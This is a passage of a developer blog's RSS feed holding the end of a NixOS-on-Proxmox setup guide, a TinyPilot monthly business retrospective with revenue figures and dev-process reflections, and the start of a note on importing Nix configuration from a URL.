&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --rootfs &lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">CONTAINER_STORAGE&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>:&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">CONTAINER_DISK_SIZE_IN_GB&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --unprivileged &lt;span style="color:#3677a9">1&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --features &lt;span style="color:#40ffff">nesting&lt;/span>=&lt;span style="color:#3677a9">1&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --cmode console &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --onboot &lt;span style="color:#3677a9">1&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --start &lt;span style="color:#3677a9">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="log-in-to-nixos">Log in to NixOS&lt;/h2>
&lt;p>Your NixOS container is now configured and should be running.&lt;/p>
&lt;p>Confusingly, if you visit the Console tab for your new container, you&amp;rsquo;ll see only a black screen:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 597px">



 &lt;a href="https://mtlynch.io/notes/nixos-proxmox/black-screen.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 597px, 98vw"
 srcset='https://mtlynch.io/notes/nixos-proxmox/black-screen_hu_336fd15b2965c75.webp 300w, https://mtlynch.io/notes/nixos-proxmox/black-screen.webp 595w'
 src="https://mtlynch.io/notes/nixos-proxmox/black-screen.webp" alt="Screenshot of a black screen in the Proxmox container on the Console tab" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>If you hit &amp;ldquo;Enter,&amp;rdquo; you should see the standard NixOS prompt. You can log in with username &lt;code>root&lt;/code> and no password.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 475px">



 &lt;a href="https://mtlynch.io/notes/nixos-proxmox/nixos-prompt.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 475px, 98vw"
 srcset='https://mtlynch.io/notes/nixos-proxmox/nixos-prompt_hu_5771d5665a942db6.webp 300w, https://mtlynch.io/notes/nixos-proxmox/nixos-prompt.webp 473w'
 src="https://mtlynch.io/notes/nixos-proxmox/nixos-prompt.webp" alt="Screenshot of nixos default login prompt in a Proxmox container on the Console tab" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="get-ssh-access-to-nixos">Get SSH access to NixOS&lt;/h2>
&lt;p>Strangely, the &lt;code>configuration.nix&lt;/code> file that ships with the NixOS container image does not work. If you try to run &lt;code>nixos-rebuild&lt;/code>, you&amp;rsquo;ll see errors about a missing &lt;code>lxd.nix&lt;/code> file. Even if you fix those, there are other systemd errors.&lt;/p>
&lt;p>Before you fix those, it&amp;rsquo;s easier if you have SSH access. The easiest way I&amp;rsquo;ve found to do that is to download your SSH keys to the system. If you have a GitHub account with SSH keys enabled, you can do that as follows:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">GITHUB_USERNAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;your-github-username&amp;#39;&lt;/span> &lt;span style="color:#999;font-style:italic"># Replace this.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mkdir -p ~/.ssh &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> curl &lt;span style="color:#ed9d13">&amp;#34;https://github.com/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">GITHUB_USERNAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">.keys&amp;#34;&lt;/span> &amp;gt; ~/.ssh/authorized_keys
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>After this, you should be able to SSH in to your NixOS system with &lt;code>ssh root@nixos&lt;/code>.&lt;/p>
&lt;h2 id="configuring-nixos">Configuring NixOS&lt;/h2>
&lt;p>I&amp;rsquo;ve created a basic configuration for a NixOS server system as a Proxmox container. You can download this configuration by running the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --show-error &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --fail &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> https://mtlynch.io/notes/nixos-proxmox/configuration.nix &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;gt; /etc/nixos/configuration.nix
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Apply the new configuration by running the following commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix-channel --update &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> nixos-rebuild switch --upgrade &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;install complete, rebooting...&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> poweroff --reboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>From there, you have a basic NixOS server system, which you can configure however you like.&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://nixos.wiki/wiki/Proxmox_Linux_Container">https://nixos.wiki/wiki/Proxmox_Linux_Container&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.xirion.net/posts/nixos-proxmox-lxc/">https://blog.xirion.net/posts/nixos-proxmox-lxc/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://taoofmac.com/space/blog/2024/08/17/1530">https://taoofmac.com/space/blog/2024/08/17/1530&lt;/a>&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 38</title><link>https://mtlynch.io/retrospectives/2023/09/</link><pubDate>Thu, 21 Sep 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2023/09/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs seven other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I failed to sell recurring TinyPilot license subscriptions.&lt;/li>
&lt;li>I realized I made TinyPilot way too configurable.&lt;/li>
&lt;li>I thought I&amp;rsquo;d been investing poorly into TinyPilot&amp;rsquo;s development, but writing this retrospective made me realize I&amp;rsquo;m mostly on track.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs seven other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I failed to sell recurring TinyPilot license subscriptions.&lt;/li>
&lt;li>I realized I made TinyPilot way too configurable.&lt;/li>
&lt;li>I thought I&amp;rsquo;d been investing poorly into TinyPilot&amp;rsquo;s development, but writing this retrospective made me realize I&amp;rsquo;m mostly on track.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="shift-manufacturing-to-our-contract-manufacturer-as-quickly-as-possible">Shift manufacturing to our contract manufacturer as quickly as possible&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I got the manufacturer unblocked quickly but missed opportunities to speed things up.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>I prioritized giving quick, complete responses to the contract manufacturer anytime they were blocked on feedback from me, and I feel I did well in that regard.&lt;/p>
&lt;p>I realized too late that I should have also been managing the project more proactively. The manufacturer has a project manager, so I assumed they were on top of things, but ultimately, I&amp;rsquo;m the one who has the most to lose if they run late.&lt;/p>
&lt;p>When they&amp;rsquo;d ask for feedback about things like the box design or the instruction manual, I&amp;rsquo;d respond promptly and then forget about it until they followed up. I didn&amp;rsquo;t realize until they were due to ship the final sample that I&amp;rsquo;d never seen a final draft of the box or instruction manual since giving feedback. The designs turned out to need more revisions, which delayed things unnecessarily.&lt;/p>
&lt;h3 id="create-a-detailed-plan-for-moving-out-of-tinypilots-local-office">Create a detailed plan for moving out of TinyPilot&amp;rsquo;s local office&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We now have a month-by-month moveout plan with target dates and milestones.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>We have a plan, and everyone&amp;rsquo;s on the same page regarding the schedule.&lt;/p>
&lt;p>There&amp;rsquo;s still a chicken-and-egg problem with some of the equipment I want to sell. Like if we sell the printer, how do we print shipping labels to sell anything else? But worse comes to worst, I just store the leftovers at my house and sell from here.&lt;/p>
&lt;h3 id="test-an-option-for-auto-renewing-tinypilot-licenses">Test an option for auto-renewing TinyPilot licenses&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I evaluated several options but none of them worked well.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I hoped to find a Shopify app that allowed me to sell &lt;a href="https://mtlynch.io/retrospectives/2023/08/#add-an-auto-renew-option">recurring subscriptions for TinyPilot Pro&lt;/a>, but I couldn&amp;rsquo;t find any. More on this &lt;a href="#my-failed-attempts-at-recurring-subscriptions">below&lt;/a>.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>July 2023&lt;/th>
 &lt;th>August 2023&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>7,800&lt;/td>
 &lt;td>6,900&lt;/td>
 &lt;td>&lt;font color="red">-900 (-12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$79,635.02&lt;/td>
 &lt;td>$91,670.46&lt;/td>
 &lt;td>&lt;font color="green">+$12,035.44 (+15%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$3,777.52&lt;/td>
 &lt;td>$2,969.62&lt;/td>
 &lt;td>&lt;font color="red">-$807.90 (-21%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$83,703.24&lt;/td>
 &lt;td>$94,930.78&lt;/td>
 &lt;td>&lt;font color="green">+$11,227.54 (+13%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$26,359.62&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$28,454.42&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$2,094.80 (+8%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Things continue to be about steady in terms of revenue and profit. Revenue is up slightly over July, but I think that&amp;rsquo;s primarily due to our Amazon listings being downranked for most of July.&lt;/p>
&lt;h2 id="my-failed-attempts-at-recurring-subscriptions">My failed attempts at recurring subscriptions&lt;/h2>
&lt;p>Last month, I tried to figure out ways to evaluate whether it was worth &lt;a href="https://mtlynch.io/retrospectives/2023/08/#how-can-i-test-customers-willingness-to-renew-their-licenses">enforcing TinyPilot&amp;rsquo;s license restrictions more strictly&lt;/a>. I decided that the best bang-for-buck solution was to &lt;a href="https://mtlynch.io/retrospectives/2023/08/#add-an-auto-renew-option">offer an auto-renewal option&lt;/a> for purchasing licenses.&lt;/p>
&lt;p>Shopify has no native support for recurring subscriptions, so I had to search through the 50+ third-party Shopify apps that add this functionality. The problem is that almost all of them are designed for physical goods. The few that support digital products only work on a native Shopify store, which I &lt;a href="https://mtlynch.io/tinypilot-redesign/#why-didnt-you-just-use-a-shopify-template">don&amp;rsquo;t have&lt;/a>.&lt;/p>
&lt;p>Sidenote: Shopping for Shopify add-ons is &lt;em>the worst&lt;/em>. Very few of them offer open demos, so the only way to see what they do is by actually installing them into your store and giving them full access to all of your products and customer data. I&amp;rsquo;m not willing to do this, so I used my dummy store with no actual customer data, but a lot of the functionality doesn&amp;rsquo;t work without a fully populated store. And then, because the add-on has my real Shopify email address, I now get a ton of spam from apps I installed to a dummy store for an hour and then deleted.&lt;/p>
&lt;p>My options at this point are:&lt;/p>
&lt;ol>
&lt;li>Sell renewing subscriptions outside of Shopify entirely (e.g., with Paddle, LemonSqueezy, Stripe).&lt;/li>
&lt;li>Convert TinyPilot&amp;rsquo;s purchase flow to a native Shopify store and then revisit Shopify&amp;rsquo;s third-party subscription apps.&lt;/li>
&lt;/ol>
&lt;p>(1) requires the dev team to build a lot of infrastructure to support an off-Shopify checkout and to make sure our support teams can still access customer information outside of Shopify.&lt;/p>
&lt;p>(2) keeps everything consolidated in Shopify, but it&amp;rsquo;s also a major project. The last time I asked someone for an estimate, they quoted me $20k for the conversion. It&amp;rsquo;s something I&amp;rsquo;d like to do eventually because a native Shopify store would have lots of other benefits, but I don&amp;rsquo;t have the bandwidth to take it on right now.&lt;/p>
&lt;h2 id="making-tinypilot-less-configurable">Making TinyPilot less configurable&lt;/h2>
&lt;p>One of the biggest sources of technical debt for TinyPilot is &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/#ansible-and-git-are-not-software-distribution-tools">our use of Ansible&lt;/a>. When I created TinyPilot, I didn&amp;rsquo;t know how to distribute software on Linux. I knew how to use Ansible, so TinyPilot&amp;rsquo;s installer was a minimal shell script that started Ansible and then used Ansible to do the heavy lifting of the installation.&lt;/p>
&lt;p>Over time, it became clear that Ansible was the wrong tool for the job. The more subtle mistake was that I&amp;rsquo;d made the installer too &lt;em>configurable&lt;/em>.&lt;/p>
&lt;p>When you&amp;rsquo;re publishing Ansible roles, it&amp;rsquo;s good practice to abstract away differences between operating systems and hardware architectures. For example, to copy a set of files to a directory, you don&amp;rsquo;t just say, &amp;ldquo;Install everything to &lt;code>/opt/whatever&lt;/code>.&amp;rdquo; You say, &amp;ldquo;Install everything to &lt;code>{{ my_target_dir }}&lt;/code>,&amp;rdquo; and then in your &lt;code>defaults.yml&lt;/code> file, you&amp;rsquo;d define &lt;code>my_target_dir: /opt/whatever&lt;/code>. That way, if FreeBSD systems wanted you to install to a different location, you could override &lt;code>my_target_dir&lt;/code> only on FreeBSD systems to point to something like &lt;code>/usr/local/whatever&lt;/code>.&lt;/p>
&lt;p>But TinyPilot supports just one OS and one hardware platform: Debian on the Raspberry Pi 4.&lt;/p>
&lt;p>Out of habit, I&amp;rsquo;d abstracted away paths, names, and values into separate files, but it made our code much harder to reason about. To understand how Ansible would populate the variables in a real install, you often had to jump between three or more files.&lt;/p>
&lt;p>Granted, there were users who appreciated this flexibility so that they could use TinyPilot &lt;a href="https://github.com/tiny-pilot/tinypilot/discussions/755">on systems that we don&amp;rsquo;t officially support&lt;/a>. Almost none of these users were paying customers, so we were incurring a significant cost to support flexibility when it wasn&amp;rsquo;t serving the customers who fund TinyPilot&amp;rsquo;s development.&lt;/p>
&lt;p>In the &lt;a href="https://tinypilotkvm.com/pro/changes#261">latest TinyPilot release&lt;/a>, we got rid of Ansible, but we also eliminated most configuration options outside of the web UI. There have been no reports of upgrade issues, which strongly suggests that none of our customers needed this configurability at all.&lt;/p>
&lt;h2 id="essential-vs-accidental-dev-work-for-tinypilot">Essential vs. accidental dev work for TinyPilot&lt;/h2>
&lt;p>In his famous essay, &lt;a href="https://www.cgl.ucsf.edu/Outreach/pc204/NoSilverBullet.html">&amp;ldquo;No Silver Bullet,&amp;rdquo;&lt;/a> Fred Brooks divides software work into &amp;ldquo;essential difficulties&amp;rdquo; and &amp;ldquo;accidental difficulties.&amp;rdquo;&lt;/p>
&lt;p>Essential difficulties include things like defining requirements and designing the UI. Even if you have perfect tooling and limitless resources, you can&amp;rsquo;t create a useful application if you don&amp;rsquo;t figure out what the software does or how the user interacts with it.&lt;/p>
&lt;p>Accidental difficulties include things that we only have to do because of the limitations of our tools. For example, managing memory in C is something we wouldn&amp;rsquo;t care about if we had automatic reference tracking or unlimited RAM.&lt;/p>
&lt;p>I&amp;rsquo;ve been thinking about that essay a lot lately in terms of TinyPilot&amp;rsquo;s dev work. A lot of what we&amp;rsquo;re doing feels like accidental difficulties.&lt;/p>
&lt;p>I divided the tasks from TinyPilot&amp;rsquo;s last sprint into &amp;ldquo;essential difficulties&amp;rdquo; (green) and &amp;ldquo;accidental difficulties&amp;rdquo; (red):&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 350px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/09/essential-vs-accidental-2.6.1.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/09/essential-vs-accidental-2.6.1_hu_26ce41b360e3d98c.webp 300w, https://mtlynch.io/retrospectives/2023/09/essential-vs-accidental-2.6.1_hu_bfcf087f3764fc81.webp 600w, https://mtlynch.io/retrospectives/2023/09/essential-vs-accidental-2.6.1.webp 607w'
 src="https://mtlynch.io/retrospectives/2023/09/essential-vs-accidental-2.6.1.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The tasks in TinyPilot&amp;rsquo;s 2.6.1, colored according to essential difficulty (green) vs. accidental difficulty (red)&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Nine tasks (24%) dealt with essential difficulty like adding or refining features, while 28 (76%) dealt with accidental difficulty like regressions, package updates, or refactoring.&lt;/p>
&lt;p>I don&amp;rsquo;t have a good way to scale effort by dev hours, but I suspect our accidental difficulty tasks took longer, on average, than essential difficulty tasks. We could be spending as much as 90% of our time on accidental difficulty.&lt;/p>
&lt;h2 id="how-do-we-reduce-accidental-difficulty">How do we reduce accidental difficulty?&lt;/h2>
&lt;p>As I thought about this breakdown more, I realized it doesn&amp;rsquo;t quite match the way I think about TinyPilot&amp;rsquo;s dev work. There are three categories I care about and roughly how much time I&amp;rsquo;d like to dedicate to each:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Category&lt;/th>
 &lt;th>Ideal % of effort&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Improving the product&lt;/td>
 &lt;td>70%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Automation and reducing complexity&lt;/td>
 &lt;td>20%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Regular maintenance&lt;/td>
 &lt;td>10%&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>The problem is that these numbers are hard to balance. Every new line of code increases maintenance cost. A 50,000-line codebase is going to require at least an order of magnitude more maintenance than a 3,000-line codebase.&lt;/p>
&lt;p>Granted, the 20% investment in eliminating complexity should reduce maintenance costs, but it won&amp;rsquo;t always offset the load from new features. Last year we added support for H.264 video, but we had to integrate &lt;a href="https://janus.conf.meetecho.com/">Janus&lt;/a>, a third-party WebRTC server. WebRTC is extremely complicated, so that single feature increased our maintenance burden by 20-30% overnight.&lt;/p>
&lt;p>Thinking about this more, maybe this is a good opportunity for &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/#run-at-50-capacity">my 50% rule&lt;/a>. We should spend 50% of our time improving the product, then perform necessary maintenance, then spend whatever&amp;rsquo;s left over on automation and reducing complexity.&lt;/p>
&lt;p>Revisiting the last release through that lens, we had:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Category&lt;/th>
 &lt;th># of tasks&lt;/th>
 &lt;th>% of tasks&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Improving the product&lt;/td>
 &lt;td>8&lt;/td>
 &lt;td>22%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Automation and reducing complexity&lt;/td>
 &lt;td>26&lt;/td>
 &lt;td>70%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Regular maintenance&lt;/td>
 &lt;td>3&lt;/td>
 &lt;td>8%&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 350px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/09/three-category-2.6.1.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/09/three-category-2.6.1_hu_fde5323199e1c266.webp 300w, https://mtlynch.io/retrospectives/2023/09/three-category-2.6.1_hu_ae9c4b87f68ffc67.webp 600w, https://mtlynch.io/retrospectives/2023/09/three-category-2.6.1.webp 607w'
 src="https://mtlynch.io/retrospectives/2023/09/three-category-2.6.1.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The tasks in TinyPilot&amp;rsquo;s &lt;a href="https://tinypilotkvm.com/pro/changes#261">2.6.1 release&lt;/a>, colored according to improving the product (green), automation and reducing complexity (blue), and regular maintenance (red)&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>We were skewed toward automation because we made a big push to eliminate Ansible, but we were closer to my ideal split than I realized.&lt;/p>
&lt;p>Viewing it through the three-category system, I feel like I am making dev investments in the right areas, as we can&amp;rsquo;t infinitely expand features while keeping team size constant.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published TinyPilot Pro 2.6.1.&lt;/li>
&lt;li>Removed &lt;a href="https://github.com/tiny-pilot/tinypilot/issues/1596">Ansible from TinyPilot&amp;rsquo;s install process&lt;/a>, yielding a huge performance increase and reduction of complexity.&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/aardvarkd/">&amp;quot;&lt;em>Aardvark&amp;rsquo;d&lt;/em>: The Fog Creek Documentary, 18 Years Later&amp;quot;&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>You can&amp;rsquo;t build new software features forever.
&lt;ul>
&lt;li>As a software project matures, you either have to add developers to handle the extra maintenance or shift focus more toward simplicity.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Configurability creates subtle maintenance costs.
&lt;ul>
&lt;li>Every configuration option in a project makes behavior harder to understand and increases the cost of changes. Limit configurability to options that really need it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Don&amp;rsquo;t assume a project manager is managing a project optimally.
&lt;ul>
&lt;li>I stopped thinking about project management for the shift to the contract manufacturer because they had their own project manager. In retrospect, I should have stayed on top of outstanding tasks more aggressively.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;p>&lt;em>This is kind of cheating because I&amp;rsquo;m writing this retrospective late in the month, so it&amp;rsquo;s effectively goals for the next week.&lt;/em>&lt;/p>
&lt;ul>
&lt;li>Shift manufacturing to our contract manufacturer as quickly as possible.&lt;/li>
&lt;li>Delegate tasks for clearing the TinyPilot office.&lt;/li>
&lt;li>Use up all remaining Raspberry Pis to build TinyPilot devices.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Import from a URL in Nix</title><link>https://mtlynch.io/notes/nix-import-from-url/</link><pubDate>Sun, 17 Sep 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/nix-import-from-url/</guid><description>&lt;p>I&amp;rsquo;m still a Nix beginner, and one thing I couldn&amp;rsquo;t figure out until recently was how to keep parts of my &lt;code>configuration.nix&lt;/code> file under source control.&lt;/p>
&lt;h2 id="my-goal">My goal&lt;/h2>
&lt;p>I&amp;rsquo;d like for my Nix configuration files to be modular and reusable, so depending on the system or flake, I can pull in only the configuration files I need. I&amp;rsquo;d like all my Nix configuration files to be under source control so that different systems can depend on different versions of any file so I don&amp;rsquo;t have to upgrade every system to the latest version of each configuration file at the same time.&lt;/p></description><content:encoded>&lt;p>I&amp;rsquo;m still a Nix beginner, and one thing I couldn&amp;rsquo;t figure out until recently was how to keep parts of my &lt;code>configuration.nix&lt;/code> file under source control.&lt;/p>
&lt;h2 id="my-goal">My goal&lt;/h2>
&lt;p>I&amp;rsquo;d like for my Nix configuration files to be modular and reusable, so depending on the system or flake, I can pull in only the configuration files I need. I&amp;rsquo;d like all my Nix configuration files to be under source control so that different systems can depend on different versions of any file so I don&amp;rsquo;t have to upgrade every system to the latest version of each configuration file at the same time.&lt;/p>
&lt;h2 id="creating-reusable-bash-aliases-with-a-local-file">Creating reusable bash aliases with a local file&lt;/h2>
&lt;p>One of the reusable Nix configurations I want is my bash aliases. On my existing system, I have these lines in my &lt;code>.bashrc&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">alias&lt;/span> &lt;span style="color:#40ffff">gc&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;git commit --message&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">alias&lt;/span> &lt;span style="color:#40ffff">gs&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;git status&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">alias&lt;/span> &lt;span style="color:#40ffff">td&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;pushd $(mktemp -d)&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To achieve the equivalent in bash, I can create a file on my NixOS system with these contents. I&amp;rsquo;ve called it &lt;code>shell.nix&lt;/code> but it can be anything:&lt;/p>
